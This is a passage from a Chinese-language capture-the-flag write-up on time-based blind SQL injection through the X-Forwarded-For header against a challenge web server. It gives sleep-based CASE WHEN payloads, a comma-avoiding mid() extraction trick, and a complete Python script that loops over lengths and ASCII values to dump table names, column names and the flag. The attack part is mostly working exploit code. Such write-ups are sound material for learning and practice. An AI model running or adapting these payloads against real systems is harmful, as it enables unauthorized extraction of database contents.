payload1 = "1' and (case when length((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()))=" + str(i) + " then sleep(3) end) and '1"
不断改变payload1中 i 的值,当页面响应延迟时即可确定group_concat(distinct table_name)的长度。
1
payload2 = "1' and (case when ascii(mid((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()) from " + str(i) + " for 1))=" + str(asciinum) + " then sleep(3) end) and '1"
这里使用mid(str from start for length)的方式来截取group_concat(distinct table_name)中的字符,避
免了逗号。依次从第i个字符开始截取,与asciinum在[44,123]范围内的字符对比,当页面响应延迟时,即可确定当前
位置字符。
按着这两步的思路依次获取表名和字段名以及最后的字段值即可。为节省时间,也可以跳过判断长度的步骤。
解题脚本如下:
#!/usr/bin/env python
if __name__ == '__main__':
url = 'http://123.206.87.240:8002/web15/'
length = 0
#get length
for i in range(1, 100):
# get the length of group_concat(distinct table_name) in db
# payload1 = "1' and (case when length((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()))=" + str(i) + " then sleep(3) end) and '1"
# get the length of group_concat(distinct column_name) in flag table
# payload3 = "1' and (case when length((select group_concat(distinct column_name) from information_schema.columns where table_name='flag'))=" + str(i) + " then sleep(3) end) and '1"
# get the length of flag in flag table
payload5 = "1' and (case when length((select flag from flag))=" + str(i) + " then sleep(3) end) and '1"
headers = {
'x-forwarded-for': payload5
}
try:
requests.get(url, headers=headers, timeout=2)
except requests.exceptions.ReadTimeout:
length = i
break
# get contents
for i in range(1, length+1):
for asciinum in range(44,123):
# get the content of group_concat(distinct table_name) in db
# payload2 = "1' and (case when ascii(mid((select group_concat(distinct table_name) from information_schema.columns where table_schema=database()) from " + str(i) + " for 1))=" + str(asciinum) + " then sleep(3) end) and '1"
# get the content of gropu_concat(distinct column_name) in flag table
# payload4 = "1' and (case when ascii(mid((select group_concat(distinct column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1))="+ str(asciinum) +" then sleep(3) end) and '1"
# get the content of flag in flag table
payload6 = "1' and (case when ascii(mid((select flag from flag) from " + str(i) + " for 1))="+ str(asciinum) +" then sleep(3) end) and '1"
headers = {
'x-forwarded-for': payload6
}
try:
requests.get(url, headers=headers, timeout=2)
except requests.exceptions.ReadTimeout:
print(chr(asciinum), end='')
break